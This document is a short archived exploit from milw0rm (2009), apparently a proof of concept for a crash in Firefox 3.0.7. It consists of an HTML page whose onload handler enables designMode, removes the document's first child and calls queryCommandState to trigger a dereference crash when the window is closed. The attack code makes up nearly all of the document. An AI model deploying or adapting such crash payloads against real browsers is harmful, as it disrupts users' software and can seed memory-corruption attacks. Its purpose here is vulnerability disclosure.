Mozilla Firefox 3.0.7 OnbeforeUnLoad DesignMode Dereference Crash



<BODY onload="document.designMode='on';//string


alert('Design mode is on!');
document.removeChild(document.firstChild);//object;
document.queryCommandState('BackColor');
alert('Close the Window to see the crash!');

">

# milw0rm.com [2009-03-16]